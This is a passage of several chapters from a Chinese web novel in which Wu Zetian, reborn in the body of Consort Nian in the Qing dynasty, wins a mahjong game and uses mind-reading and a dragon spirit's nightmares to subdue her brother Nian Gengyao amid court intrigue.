烛火下,她的面容如朦胧摇曳的水中月,不自觉地散发着楚楚可人的脆弱。 胤禛不由心驰神怡,喃喃道:“不用准备……你现在这个样子就已经足够……” …… …… 天刚蒙蒙亮,如今身份是侧福晋年世华的武曌已经醒来,为雍亲王整理衣裳,送他上朝。 “不愧是名门世家之女。” 胤禛对年世华的恭顺体贴感到满足,笑着打趣道:“若我有朝一日登大宝之位,定立你为皇贵妃。” “谢四爷。” 武曌低眉顺眼。 “嗯?” 胤禛诧异:“我以为你会问我届时为什么不让你做皇后。” “倘若四爷能登大宝之位,皇后自然归属嫡福晋,奴才身为侧福晋,能有个妃位便是侥幸,又怎敢奢望?” [目前为止,他对我的定位依然是拉拢年羹尧等人的工具,稍微掺了点男人对女人的喜爱,可见前路漫长,须稳扎稳打。] 武曌暗道。 所幸年世华如今才十五岁,胤禛却已过而立之年,单从年龄看—— 她有至少五成的胜算! 胤禛不知眼前乖顺柔弱的年世华心中正想着古来豪杰都不敢妄想的王图霸业,被陈四流民案困扰的他听过年世华的回答,宠溺着捏了把女人的柔嫩脸庞,叹道:“年家人代代乖巧,为何这一代出了个年羹尧?” “二哥是烈马,烈马难免有些脾气,但是烈马被驯服会对主人言听计从。” “哦?” 胤禛闻言,眼前一亮,看年世华的眼神多了几分欣赏。 随后,胤禛在随从们的陪同下出了雍王府。 途中,从苏培盛处听得年羹尧是烈马的说法的戴铎再次搭话。 “奴才这几日读书,读到前朝女皇武则天还是太宗皇帝的才人时,曾经自告奋勇请求驯马,并向太宗讨要三件物品:皮鞭,铁锤和匕首。太宗问她为何要这三件东西,她回答说不论是宝马还是劣马都是给人骑的,不听话的马先用皮鞭抽打,如若不服,我便用铁锤击打它的头部,倘若经过这番教训它还是不听话,这等顽劣不驯的马,要它何用?” 顽劣不驯的马,要它何用? 胤禛心中泛起共鸣,面上却不动声色,冷笑道:“戴铎你自诩天下第一谋士,居然相信这种一看就是胡编乱造的故事?” “奴才以为,武则天驯马的故事或许是编造,但故事蕴含的道理却是不得不信。” 戴铎急切渴望得到雍亲王的全部信任,见雍亲王神色有异,进一步劝诫道:“年羹尧就是皇上赐给四爷的烈马,这批马能驯服自然最好,不能驯服,不如杀掉!” “你——” 胤禛冷冷看了戴铎一眼。 主子理应杀伐果决,但是做奴才的如此心狠手辣…… 胤禛眸色暗下,不动声色道:“想不到一向主张谦恭的戴铎也有杀伐果决的一面。” “奴才要为主子谋大事,不得不面面俱到。” 完全没意识到雍亲王的情绪变化的戴铎直抒胸臆。 “谋大事……大事……” 胤禛冷笑三声,不再继续这个话题。 他要养足精神应对早朝。 …… …… 男人们在朝堂上虚情假意地上演兄弟情深但又不得不大局为重的戏码的同时,女人们也没闲着。 太阳刚升起,八福晋和九福晋便以妯娌亲密的名义来到雍亲王府,与四福晋唠嗑家常,顺便探问新入府的侧福晋年氏。 “听说这年氏虽生得花容月貌却体虚娇弱难以承欢?” “年家妹妹的身子骨确实有几分纤弱。” < 11. 杀得片甲不留 《[清穿]年妃则天》全本免费阅读 [不能一直输给她们丢了雍王府的颜面,又不能赢得太厉害损伤三位爷的和气……这事真是难办……] 四福晋的心声流入耳中,武曌心下了然,面露婉转神色:“还请姐姐们待会手下留情,不要将妹妹杀得太惨。” “年家妹妹如此我见犹怜,我们怎么忍心在牌局上杀你太狠?” 八福晋笑容微妙。 能让名满天下的“八贤王”惧怕的女人,管理后院的手段可想而知。 想到将要发生的“惨剧”,和八福晋是多年搭档的九福晋露出幸灾乐祸的笑容。 见两人如此,四福晋心中越发七上八下。 以读心术将三人此刻心思看穿的武曌却不动声色,芊芊细手轻抚桌面,对接下来的牌桌厮杀充满期待。 …… “杠上开花!” …… “自摸!” …… “清一色!” …… “相公!” …… “胡了!” …… “十三幺!” …… 三圈麻将下来,相对而坐的八福晋和九福晋输得面面相觑,彼此都怀疑对方故意给年世华喂牌。 尤其是八福晋。 从未遭遇如此惨烈打败的她一边佯装镇定地洗牌打牌,一边反复打量九福晋和年世华。 [就算年世华天赋异禀,能常人不所能,或者她事前对我们撒谎,今天并不是她第一次接触牌局,也不可能自上了牌桌就一把接着一把的胡!仿佛所有运气都聚到了她身上!何况……九福晋可是好几次都明明白白地给她喂牌!难不成……] 想到九爷和八爷私下的某些商量,八福晋摸麻将牌的手不自觉地抖了一下。 九福晋心中也是类似的想法。 她怀疑年世华的连番胡牌是八福晋故意所为。 毕竟,九爷曾私下告诉她,八爷生母良妃娘娘沉疴难治,命不久矣,若八爷有幸登临皇位,九爷的母亲宜妃额涅将会被尊为太后,他们的儿子也有很大可能被子嗣困难的八爷收为养子,立为太子,让她务必伺候好八福晋,为大事铺路。 八福晋莫非已经知道九爷有此打算,担心八爷成为皇帝后当真听九爷建议尊宜妃额涅为太后、立九爷和我的儿子为太子损害她的利益? 所以今天牌局故意给年氏喂牌,以此敲打我、警告我? 想到这里,九福晋看八福晋的眼神顿时多了几分谄媚和警惕。 四福晋不知八福晋和九福晋私下如此多的蝇营狗苟,见年世华连连胡牌,心中既高兴又担忧。 高兴是因为年世华初次上牌桌就有如此战绩,可见她和她的长兄年希尧一样是个精通西洋算数的天才,担忧则是—— 如此一边倒的连胜,当真不会开罪八福晋和九福晋? 但她很快放弃了这个沮丧的念头。 身为未来的大清皇后,她怎么可以遇事如此瞻前顾后畏手畏脚? 倒是年氏的表现—— 四福晋下意识地看向年世华。 [……果然是情深不寿,慧极必伤。] 情深不寿? 慧极必伤? 读心术有只能听取与自己有关的内容的限制,牌桌上三人虽心思各自活跃,武曌却只能听到八福晋怀疑她连续胡牌是九福晋故意给她喂牌的心声和四福晋担心她过分聪慧最终短寿而亡的叹息。 [想不到四福晋对我竟有真心关爱。] 武曌嗤笑。 四福晋的叹息既展现了她对年世华的关心,同时也进一步证明她身上有秘密——她知道未来大概会发生什么,并且已经见到年世华的未来! 短寿而亡! [以年世华的身体……确实很难长命百岁,不过……] 命运什么的,不就是拿来被打破的吗?! 念及此处,武曌展颜一笑:“三位姐姐,妹妹好像又要胡牌了。” “这……这……” 九福晋惊呆。 为什么年世华第一次接触麻将却能胡牌胡得这么轻松,难不成真是八福晋在故意喂牌? 不对,就算八福晋故意喂牌,她也不应该—— 除非—— 九福晋想到九阿哥对年家兄弟的评价。 他说,年羹尧才华纵横,年希尧同样不容小觑——此人虽然仕途无所建树,但在杂学领域尤其是算筹领域是罕见的天才,常被皇阿玛传召入宫陪他老人家做西洋的几何对数题。 [……年世华很有可能也和她的兄长年希尧一样是个精通算筹之道的天才,所以才能初次坐上牌桌便无往不利。] [居然怀疑我凭借算筹手段连番胡牌?这个九福晋倒是个精明人,可惜答案全错。] 武曌遗憾地看了眼九福晋,推倒面前麻将:“谢九福晋喂牌,妹妹我这把终于胡了。” [果然!] 八福晋闻言,心中恼怒,脸上却露出柔和笑容:“年家妹妹一路势如破竹,原来是得了九福晋的疼惜。” [八福晋,你……] 八福晋的话中有话让九福晋一阵牙疼,心中暗骂不已,脸上还必须努力做出风轻云淡:“以八爷、九爷和年家的关系,还有年家妹妹的年纪,于公于私,我们打牌的时候都得照顾着她,不是吗?” “瞧这话说得,倒显得我有几分斤斤计较~” 八福晋笑容可掬。 她从不怀疑九爷对八爷的忠诚,但是八爷也曾说过,九爷有心让宜妃代替命垂一线的良妃成为八爷登基后的大清皇太后—— 不接受! 绝对不接受! 虽然由于两人此刻思考的内容与己无关而无法倾听,但看到九福晋和八福晋仅因为自己的一句“谢九福晋”便相继露出微妙表情,武曌心中顿时明白眼前两人看似亲密无间其实各怀算计。 有缝隙,就有可乘之机。 …… …… 晚上,雍亲王胤禛回到王府,奴仆上前为他脱下外衫,送上茶水,顺便禀告八福晋、九福晋今日登门寻四福晋打麻将被侧福晋杀得片甲不留的事情。 “当真杀得片甲不留?” 胤禛诧异。 要知道,九阿哥胤禟是京城鼎鼎大名的麻将高手,九福晋则是青出于蓝胜于蓝,以至于得九福晋辅佐的八福晋和皇家妯娌们打麻将从来稳赢不输,即便对手是太子妃,两人也是配合无间,赢多输少。 “……以她们的身份断不可能 12.恩威并施 《[清穿]年妃则天》全本免费阅读 同一时间,八贝勒府上阴云密布。 八阿哥胤禩刚回到家,八福晋便迎面走来,将白天和九福晋去雍王府找四福晋等人打麻将的事情说了一遍。 “……往日我们搭档打牌,她总给我喂牌让我赢多输少,这一次她竟然一反常态不停地喂年氏,气死我也!” “哦?” 胤禩心不在焉地应了一声,满脑子想的都是白天在朝堂上发生的事情。 八福晋见此情形,想到外间的某些传言,不由泛起恼怒:“胤禩!你和老九是不是都曾想过娶那年氏为侧福晋!” “你——” 胤禩无语,抬头看着八福晋:“皇阿玛绝不可能将年氏赐婚给我和胤禟中的任何一人。” “我问的是你有没有想过这件事,不是皇上他老人家有没有过这个念头!” 回想牌桌上见到的九福晋对年世华的超乎寻常的热络以及年世华那美丽乖巧的青春容颜,八福晋情绪越发沉重,眼泪不争气地流下来:“我知道我没用,嫁给你那么多年却没给你生下孩子,还……还限制你娶侧福晋,严管府里的格格、使女,地方采买来的美女个个都被我收拾过……但是我……我是太在乎你才会做这些事……尤其是看到其他阿哥的后院……” “我知道……我知道你是太在乎我才会善妒……” 胤禩一脸敷衍地哄骗八福晋。 八福晋知道他在敷衍自己,心里越发不是滋味,叹道:“我一心给你生孩子却至今不能如愿,后院那些没名没分的却一两次就怀上,莫非我命中注定没有子孙福?” “我的好福晋,你的福气在后面呢。” 说完,不等八福晋回答,胤禩径直离去。 八福晋见他如此,不由失声痛哭起来。 …… 八福晋向八阿哥抱怨九福晋给年世华喂牌,九福晋也向她的九阿哥埋怨八福晋的斤斤计较。 “……她竟然因为年氏的几句挑拨话就当众怀疑我!夹枪带棍地刺我!这么多年的感情都错付了!” 说着说着,九福晋抽泣起来。 “福晋,你……” 九阿哥胤禟想了一下,反问道:“你当真没有给年氏喂牌?” “我与年氏并无往日交情,就算想在牌桌上给她喂牌,也得先教她看懂我的暗示啊!” 九福晋越说越委屈,一个劲地跺脚抱怨。 胤禟闻言,面色不由凝重。 “以前从没有打过麻将,却能第一次上桌就如此优秀,每一把都胡得仿佛你在给她刻意喂牌……这份计算能力和手法……年氏她……她……” “她怎么?” 九福晋问。 胤禟深吸一口气,幽幽道:“非池中之物。” 随后,胤禟补充道:“幸好她是女儿身,纵然有绝世才华也注定一生困于后院,无法像男人那样出入朝堂,封侯拜将……以老四的性格,即便发现她是个女诸葛,也不会像对待谋士那样对待她,和她商讨国家大事……万幸!万幸!” “那也……” 九福晋愤愤不平:“以我们和年家的关系,她本该成为九爷您的侧福晋,辅佐九爷成就大业!而不是像现在这样……” “她被指婚给四哥已经是我们的万幸,不幸中的万幸。” 胤禟对此倒是心态平和。 毕竟,他从很久以前就知道自己没机会成为储君,当然,四阿哥胤禛也多半不会成为太子。 …… 夜色渐深。 九福晋回房歇息,九阿哥却迎来了贵客。 八阿哥胤禩。 “八哥,你——” “我来这里是想问你一个问题。” 胤禩开门见山:“白天在外面人多眼杂,我怕隔墙有耳,想问不敢问,现在夜深人静,此地又只有你我二人,你不妨对我说实话。” “什么实话?” 胤禟装傻。 胤禩:“山西的事情——” “山西的事情,皇阿玛交四哥全权处理,八哥莫非因为四哥今日在朝堂上的态度担心他会借此事件对我们的人下手?” “你——” 见胤禟一再回避,胤禩只得把话挑明:“谎报丰收的那些官员和你有没有勾结?” “为什么要用‘勾结’这么难听的词语?” 胤禟咧嘴一笑:“我们是堂堂正正的有联系。” “你的意思是——” “嗯,他们确实定期送钱财给我,让我帮他们在朝中做一些通融活动。” 胤禟直言不讳。 胤禩愤怒:“你怎么可以——” “没有地方官员的定期孝敬和我利用皇子身份在地方开设的各类商铺挣到的钱,八哥你拿什么维持‘八贤王’的清誉?” 胤禟笑呵呵看着胤禩:“八贝勒府一直都入不敷出,却是全京城养清客最多的府邸!” “——那你也不能……不能做这种事情!” 胤禩面色苦闷:“偶尔做些无伤大雅的欺上瞒下也就罢了,这次的事情可是——” “听四哥的说话口气,皇阿玛显然无意将此事闹大,”胤禟自信满满地说道,“估计事情的最终处理将是陈四为首的一干流民或处斩或流放,与此事牵扯过深的官员或罢官或降职,而我……本来就不得皇阿玛喜欢的我多半会因为他们的供词被皇阿玛呵斥甚至严惩。但是八哥你放心,我绝不会把你牵连进去!这件事的罪责与后果都将由我一人承担!” “九弟,你——” “为了八哥有朝一日能登大宝之位,弟弟我做什么都愿意!” 胤禟脸上满是真诚。 胤禩被他的诚意感动,发誓道:“倘若我有朝一日登大宝之位而良妃额涅又已不在人世,我一定尊宜妃为大清皇太后!与九弟你共享江山!” “八哥——” 胤禟感动,双手搭着胤禩的肩膀。 “兄弟齐心,其利断金!” …… …… 山西的事情闹到现在这个地步肯定是要杀得人头滚滚才能收场。 胤禛如此想着,从女人手中接过温度恰到好处的茶水:“你长兄年希尧擅长几何对数和天文地理,你呢?学过多少?” [若是这女人和她长兄一 13.初见年羹尧 《[清穿]年妃则天》全本免费阅读 年羹尧回到京城,第一件事自然是入宫觐见皇帝,名为谢罪,其实向皇帝展示自己到了四川后做成的种种大事。 康熙本就喜欢这个年轻有为的后辈,见文官科举出身的他出任四川巡抚不过两年,就将源于明清乱世的土匪横行、地方土司肆意妄为、跨省人口买卖猖獗等问题治理大半,还在四川提督岳升龙双目失明后一人兼挑文武,整顿军营、重振军纪……种种行为,俱是有声有色,对年羹尧就更加喜欢了。 此次康熙招年羹尧入京述职,一方面是肯定他的能力,让身为年羹尧上司的川陕总督殷泰知道轻重,不要在日常事务上难为年羹尧,一方面则是康熙收到消息,蒙古准噶尔部落近年来很不安分,传言妄阿拉布坦有意将影响力扩入藏区,蒙藏联合,和清廷分庭抗礼。 “亮工,四川边境与藏区相交,你身为四川巡抚,要把眼睛擦亮,绝不能让准噶尔逆贼有机会越过雷池!” “臣遵旨!” 年羹尧知道康熙皇帝对他寄以厚望,也确信完成这个任务以后,自己将得到更高的地位。 “……” 康熙的脸色露出明显的凝滞。 他看了眼年羹尧,道:“待会去趟雍亲王府,老四他如今既是你的主子,也是你的妹夫。” “奴才谨遵陛下圣训。” 意识到称呼出错的年羹尧急忙做出谦卑姿态,躬身行礼,退出大殿。 康熙看着年羹尧逐渐远去的背影,嘴角泛出宽容与嘲讽并存的微妙笑容。 …… …… 年羹尧抵达雍亲王府时已是华灯初升。 雍亲王不在府内。 嫡福晋得通传后径直派人到年世华处领侧福晋去前厅和她的兄长见面。 “劳烦嬷嬷了。” 武曌温顺地感谢着,跟随嬷嬷来到前厅:“二哥——” 闻声,正背着手欣赏字画的年羹尧转过头。 “小妹?” 年羹尧的声音略有几分生硬。 要知道,年世华三岁时,年羹尧已经通过顺天府乡试,并在第二年以举人身份次序参加会试、殿试,成为翰林院庶吉士,之后更一路青云直上,不到三十岁就升至内阁学士、礼部侍郎,随后外放四川巡抚,主政一方。 也因如此,在年羹尧心中,与自己年龄相差极大的妹妹年世华是介于妹妹和女儿的存在,不论是以兄长身份和幼妹相处还是像父亲对女儿那般待她,都会让他感到尴尬不适,只能假装忙于公务,尽可能地减少接触往来。 今日奉皇帝命令来雍亲王府拜见既是主子又是妹夫的雍亲王,少不得要和关系生疏的妹妹见面,年羹尧的心情可想而知。 “……二哥这般模样……莫非不想见妹妹?” 说笑间,武曌走到年羹尧身前,请他坐下,亲自给他奉茶。 “二哥请喝茶。” “不……不敢……” 年羹尧有些坐立不安。 不是因为给他递送茶水的那双手修长精致宛如玉石雕刻而成,也不是因为年世华的手伸到面前时有淡雅清香随着冲入口鼻,而是—— 直到这一刻,他才猛然发现记忆中青涩如春天树梢上新冒出的嫩芽的幼妹已经长大成熟,成了真正的女人。 “二哥是我的兄长,妹妹侍奉兄长本就是天经地义的事情。” 以读心术洞悉年羹尧对年世华的微妙情感的武曌莞尔一笑,从整盘的糕饼中取出一枚,捏成两半,其中一半递给年羹尧:“这是用西洋传教士带来的法子做成的糕饼,格外松软甜美,二哥不妨尝个味道?” “我素来不喜欢——” “一口也不吃吗?” 武曌垂眸,露出惹人怜爱的泫然模样。 年羹尧的意志顿时松动,从幼妹手中接过糕饼,一边吃一边问:“四爷他对你怎样?” “爷对奴才是极好的。” “奴才?” 年羹尧面色骤变。 虽说旗人(不论满军旗还是汉军旗)面见所属旗的旗主(这一职务通常由皇家阿哥担当)时必须自称奴才,但年羹尧作为满朝官员中最年轻有为的那个,在皇上面前都敢偶尔自称为“臣”而非“奴才”,何况雍亲王这个直到康熙四十八年才统领镶白旗的旗主? 事实上,哪怕康熙四十八年以前,年家所属的镶白旗还归延寿贝勒统领时,年羹尧见延寿贝勒也无须自称奴才——延寿贝勒是明珠的女婿,年羹尧的原配夫人是明珠的孙女,年羹尧可以跟着夫人一起称延寿贝勒为姑父。 正因如此,突然听到幼妹提及雍亲王时自称“奴才”,年羹尧顿感受辱,手背隐约有青筋暴起:“四爷他……” “二哥,你怎么啦?” “他很好。” 年羹尧的声音有些阴沉。 他一向不喜欢“奴才”这种过分强调主属关系的词语,何况他如今青云直上,有决定自己身份的资格。 “二哥,你看起来并不好。” 武曌饶有兴致地看着年羹尧。 他此刻表现出的自尊自傲让她感觉兴奋的同时也感受到强烈的挑战。 “我……我可能是有些累了……收了皇上的命令立刻从四川赶回京城,一路上马停人不停,刚才又……” “二哥,这些都不是你此刻真正的想法。” 武曌起身,居高临下地看着年羹尧,眼神既有同情又有怜悯:“我知道你在想什么。” “你——” “你在生气,你觉得你得到皇上的重用已经不用向四爷自称‘奴才’,你认为向四爷自称‘奴才’是犹如尊严的行为,可是——” “可是什么!你懂什么!” 年羹尧骤然起身,眼神严厉地看着幼妹,一字一顿道:“你!一个妇道人家!你懂什么!” “当真?” 武曌不避不让,直视年羹尧的怒目,眸中甚至闪过毫不掩饰的轻蔑与嘲讽:“二哥,自古伴君如伴虎,四爷虽然不是君却是不折不扣的虎,是我们年家必须逢迎伺候的主子!” “——呵!” 年羹尧不屑一顾。 事实上,如果眼前女人不是他的幼妹,此 14.刻骨的恐惧 《[清穿]年妃则天》全本免费阅读 [你……] 恍惚离魂的感觉骤然消失,重新拥有身体控制权的年羹尧本能地长舒一口气。 他的衣服被层叠涌出的冷汗打湿,心口痛得厉害,仿佛有人把手生生插进他的胸腔将他的心脏撕碎后又拼合再用重拳锤击逼迫它恢复跳动。 这就是最刻骨的恐惧吗? 我的恐惧? 我也会感到恐惧? 我…… [你当然会感到恐惧,凡是生命都会感到恐惧,而我能让你体会到最刻骨的恐惧,也能让你得到最彻底的解脱。] 如梦魇般的声音再次在脑海中响起,原本已经打算把刚才经历的光怪陆离当成一场离奇的幻觉的年羹尧再次如坠冰窟。 回过神后,他怔怔地看着站在面前的年世华,仿佛今天第一次认识她。 [你……你到底是谁……] 不知为何,声音竟无法从喉咙中发出。 [我是你的主人,你是我的奴隶。] 那直接在脑海中响起的孤冷声音如此说道。 紧接着,年世华向他走来,美丽的面容一如记忆中那般温柔,黑曜石般的眼眸深处去闪烁着寒霜的光滑。 “二哥,你怎么啦?” 女人担忧问道,递出手中丝帕。 “我……我……没事……我没事……” 年羹尧强作镇定地接过手帕,擦掉额头的冷汗。 身为肩负监督藏地、防范准噶尔部落狼子野心重任的四川巡抚,年羹尧对藏地文化也有一定的涉猎,知道在藏地流传着各类诡秘神异的传说,时常有只存在于传说中的拥有恐怖力量的神灵般强大的恶鬼侵扰人类世界,甚至进入人的身体,与兄长年希尧交往频繁的西洋传教士们也经常带来恶魔伪装成人为非作歹的恐怖故事。 但这些诡异恐怖的故事显然和他方才经历的内容没有任何共同之处,因为——不论是恶鬼还是恶魔都是邪恶的阴祟,不可能具备如日月般浩瀚光辉的气质以及君临万物的威严。 何况—— 雍亲王以虔诚著称,王府内养了多位得道高僧,邪祟阴晦根本不能接近,又怎么可能…… 由此可见,妹妹身上的东西…… 那究竟是什么东西! 为何辉煌如日月,又能勾起他灵魂最深处的恐惧,仿佛—— [臣服是你唯一的选择。] 声音再度响起,但这一次是他的心声。 换而言之,他的身心在不知不觉中已经认同了那个声音,那个令他毛骨悚然又无比兴奋的声音。 我…… “二哥,你到底怎么啦?” 年世华的声音一如既往的温柔,她忧心忡忡地看着他:“难道是因为旅途劳累?” “是……是旅途劳累……” 年羹尧本能地附和。 虽然年世华此刻的温婉和记忆中一般无二,但才经历过方才的诡异恐怖的他根本不敢看直视年世华的脸。 她让他感到害怕,不受控制的颤抖,又—— “我先走一步,等……等过几天再来王府看你,顺便……顺便拜会四爷……” 年羹尧略显慌乱地说着,不等年世华回答,立刻离开。 【他似乎被我们吓坏了~】 凤龙宝宝不怀好意地笑着。 武曌不理祂,吩咐奴婢收拾桌子。 …… …… 晚些时候,胤禛回到王府,得知年羹尧已经离开,并且年羹尧和侧福晋见面时闹了不愉快。 “哦?” 胤禛眯眼:“他对你不满?还是说,他对本王不满!” “二哥和奴才闹不愉快并非是对爷或是奴才有任何不满,是他没有习惯身份的转变。” 武曌循循善诱道,“自古长兄为父,二哥虽不是奴才的长兄,但他比奴才年长十多岁,又自中举以来一路青云直上,在奴才面前难免以长者自居,而奴才却……却试图以王府侧福晋的身份对他说话,不怪二哥他会生气……” “你是我的女人,自然也是他的主子。” 胤禛不觉得年氏这样做有问题。 武曌见状,进一步道:“二哥其实知道这个道理,但他终究是奴才的兄长,十多年来始终如父如兄地待奴才,突然被奴才这般口吻对待,难免……都是奴才的错,奴才不该自作聪明,以为可以……可以……” “你都对他说了些什么?” 胤禛无视女人的委屈,催促她立刻把情况说清楚。 “奴才劝二哥不要居功自傲,他就算为大清立下了天那么高的功劳也还是皇家的奴才,是四爷的奴才,他应该尽快摆清楚自己的位置。” “……你好大的胆子,居然敢对他说这些话,难怪他那么生气。” 胤禛用宠溺的眼神看着武曌,原以为她只是比寻常女子多些学问和见识,如今得知她全心全意为自己着想、甚至为了自己公然顶撞兄长,如此痴心专一的女人,怎不教他心生怜爱? “为了爷,奴才做什么都——” “爷知道你在想什么。” 胤禛低头,搂住女人,嗅吸发丝散出的清香:“你想取悦我,得到我的宠幸……” “爷……” 武曌轻声附和着。 她不会纠正胤禛的错误,因为让男人沉迷于她的爱情是女人取得权力的捷径。 …… …… 两天以后,年羹尧再次来到雍亲王府,脸色有些憔悴。 [看样子,他这两天过得很不好。] 武曌暗笑。 为了尽快收服年羹尧,她几乎每天都会让凤龙分出一脉神魂钻进年羹尧的梦中,用超出人类承受极限的手段折磨他的灵魂、摧残他的自尊,将他的心神一次次地逼到崩溃边缘,再在他彻底碎裂前将他的灵魂和尊严重新拼起来。 如此反复数次,就算是铁打的也会濒临溃散,何况年羹尧只是一介凡人,而且—— 梦中的某个场景始终让他难以释怀。 为什么? 为什么是幼妹? 为什么被选中的是…… “亮工别来无恙。” 声音自头顶响起,打断年羹尧的恍惚。 年羹尧急忙躬身行礼:“臣……奴才……年羹尧拜见四爷。” [……终于找到自己的身份了。] 胤禛不无得意地想着,示意年羹尧起身,和颜悦色道:“亮工与本王是亲戚,不必行此 15.天幕异变 《[清穿]年妃则天》全本免费阅读 斟酌再三,年羹尧决定旁敲侧击:“我最近确实睡得不好,可能是在四川呆得太久,有些不适应北京的气候……也可能是紫禁城的空气越来越紧张,而我作为将来扛起年家的人无法不被这种紧张气氛感染……这几日,我总是在重复做一些奇怪的梦……” “什么样的梦?能说给妹妹听一下吗?” 引发年羹尧连夜噩梦的始作俑者一脸真诚地看着兄长。 “梦……噩梦的内容五花八门,但开场部分总是非常相似……我梦见我被困在无边无尽的黑暗中,只有眼前点着一只微弱的蜡烛,然后……四周出现越来越多的蜡烛,每一支蜡烛都会投下一根细长的扭曲的影子,从四面八方汇入我的影子,然后……” “然后发生什么?” 武曌兴致勃勃。 她也想知道凤龙为年羹尧制造的噩梦世界都有些什么不可思议的东西。 “然后就……各种见所未见的怪物……扭曲的奇怪的东西……比西洋传教士的故事里最可怕的恶魔更加恐怖的怪物出现在我的面前……它们缠绕着我,有时也会攻击我……带着被世界遗忘的孤独……我……” 说着说着,年羹尧的喉咙发出干渴。 只是语言并不能形容噩梦的真正可怕之处,因为在他梦中出现的所有生命——不论外形怎么古怪扭曲恐怖——都让人觉得它们本就该长成这样。 而且,每当他在噩梦中不幸和某只怪物的眼睛发生对视时,就会感受到有某些东西从怪物体内涌出冲入他的灵魂! “……二哥应该只是太累了,”武曌虚情假意地安抚道,“听得道高僧讲经或许可以化解一二。” “听高僧大德讲经吗?” 年羹尧想起雍亲王笃信佛教,府上与高僧大德往来密切:“倘若高僧的佛法无法化解我的噩梦,它们的缘由是另外的一些东西……” “那我只能在佛祖面前为二哥不断地祈祷了。” 武曌莞尔一笑,表演兄妹情深。 “祈祷……也许……” 年羹尧的声音越发沉重。 武曌见状,趁胜追击:“妹妹有些话不知当讲不当讲,妹妹觉得哥哥的噩梦源头或许是哥哥对爷的不敬……爷是真龙子孙,又是皇上钦点给我们年家的主子,哥哥如今仗着皇上的宠信对爷有不敬之处,难免会……” “你认为我是因为对爷不敬才噩梦缠身?” 年羹尧沉下脸色。 武曌笑容微妙。 年羹尧不由再次沉默。 这几日发生在年世华和自己身上的异常让他不堪重负,但想到幼妹抱着皇子以女帝姿态临朝听政的幻象以及伴随神秘幻象出现的要求他臣服的诡秘中透出端庄高贵的声音,他顿时再次不知如何抉择。 如果—— 未来真会发生女主江山、女帝临朝…… 并且端坐在金銮殿上君临天下的女人是年家幼妹…… 就算幼妹的灵魂早已被某种不可知的神秘之物彻底取代,他也……也…… 年羹尧下意识地看了眼年世华。 幼妹的面容是那么的熟悉又那么的陌生,纯黑的瞳孔透出深不可测的智慧。 或许……也许…… 但是那又怎样! 那神秘之物可是曾经向他索要忠诚! 祂需要他的臣服,祂承诺在他献出全部忠诚后给予天底下最高的地位、最强的力量! 想到这里,年羹尧不再迷茫,笑着对年世华或者说年世华体内的武曌道:“妹妹,你说得很对,在四爷面前,我只是个奴才。甚至,在成为四爷的女人的你面前,哥哥也只是个奴才。” [我需要权力!越多越好的权力!所以,妹妹,不论站在我面前的你是不是真正的年世华,也不管那神秘声音给出的天底下最高的地位、最强的力量的承诺是不是真的!只要我看到的年家女儿临朝称制的画面有万分之一的可能变成现实,我都愿意为此付出我的全部!] 心声流入耳中,武曌露出了然的微笑。 “哥哥能这么快就想清明白,自然是最好不过。” …… …… 晚些时候,胤禛来到年世华处,嘉奖地看着这个女人:“你为爷做成了一百个谋士都未必能做成的大事,想得到什么奖励?” “奴才只是做了该做的事情,不敢要嘉奖。” 武曌笑盈盈看着胤禛。 她知道这个男人外表平易近人内心充满不安和对背叛的厌恶,他希望别人无条件的忠于他,不求任何回报地为他付出,一旦他发现身边人对他的忠诚和付出掺杂着利益需求,他便勃然大怒! 所以—— “何况,真正让二哥意识到自身的怠慢、明白自己的身份的不是奴才的劝说,是爷与生俱来的皇家威严。” “竟然是我的皇家威严让亮工明白了自己的身份……” 胤禛脸色再度阴沉不定。 武曌见状,果断垂眸低首,脸上流露出做错事说错话的惶恐。 ——虽然人都喜欢听顺着自己的话,可如果字字句句都刻意流露出讨好又会让对方产生“你在揣摩我的心意”的不适感。 和世间大部分男人一样,胤禛并不讨厌后院女人们绞尽脑汁的讨好争宠,但是年世华的表现太过耀眼聪慧,让一向擅长揣摩人心的胤禛也感到微妙的不适,仿佛眼前这个女人能看穿自己的心。 但想到世间的女人即便极致聪慧也注定只作为男人的陪衬存在,大清后宫无法出现如武则天这种敢踩着男人尸骨往上爬的毒妇后,胤禛的心情顿时好转。 [——再聪明再懂得揣摩又如何,终究是爷的女人,要为爷生儿育女。] [真以为男人天生尊贵?倘若男人被放在女人的位置,他会很快变成女人,甚至比女人更像个女人。] 武曌不屑地想着。 昔日,她以女皇姿态君临天下时,多少写檄文痛骂牝鸡司晨的男人只要有机会进入控鹤府,立刻露出奴颜媚骨,谄颜求欢。 [向高位者祈求权力时,男人的表现和教坊女子没有任何区别,甚至更加卑微、不知廉耻。] …… …… 【……虽然和怡亲王并称为雍 16.研究天幕 《[清穿]年妃则天》全本免费阅读 【宝宝是长大了一点点,但是没有完全长大,不过……可以试试……】 凤龙舔了舔嘴角的口水。 祂对嫡福晋身上散发着香气的神秘之物可谓垂涎已久。 [既然如此,我连夜抄一篇佛经,明天给嫡福晋送去。] 武曌当机立断。 凤龙想吞吃嫡福晋身上的秘密之物,而她想把那件能帮助嫡福晋获悉未来的物品占为己有,至少不能让嫡福晋继续独占此物。 [力量只有握在自己手中才是最安全的。] 【那年羹尧呢?】 凤龙兴致盎然地问。 [年羹尧此人有强烈的功名欲,所以能被我以外戚权臣的诱饵收服,聪明如他自然不会不懂‘一荣俱荣,一损俱损’的道理。至少,在我成功夺得最高权力以前,他都是我最忠实的下属和盟友,不敢对我有贰心。至于将来——] 武曌莞尔一笑。 [皇位在手,谁敢对我大声说话!] 【……有意思!真有意思!不愧是宝宝选中的人类~又精彩又强大~】 凤龙在桌上兴奋跳跃着,金色的眼睛闪烁着不该存在于世的美丽、神秘的光芒。 …… …… “年氏给嫡福晋请安。” 才跨过门槛,武曌立刻屈膝行礼。 乌拉那拉氏闻言,笑盈盈地迎上去,亲自搀扶:“妹妹多礼了,快快起来。” 说话间,两人已经相对而坐。 武曌满面笑容地看着乌拉那拉氏:“姐姐的眼睛看着有几份憔悴,莫非昨晚没有歇息好?” “昨天晚上……” 乌拉那拉氏叹了口气:“昨天晚上,我确实没有休息好,我不知为何想起了我那早夭的……唉,事情都已经过去那么久,提起来也只会大家都不开心……不说了,不说了!” “大阿哥确实是……有些可惜……” 武曌附和着安抚乌拉那拉氏,仿佛对嫡福晋的痛苦感同身受,其实从进屋那一刻开始,她的眼睛就没有离开绕着嫡福晋不断上蹿下跳到处嗅吸寻找的凤龙。 【奇怪,明明……明明有东西……我能感觉到那个东西的存在,也闻到了味道……香甜的味道,为什么找不到……】 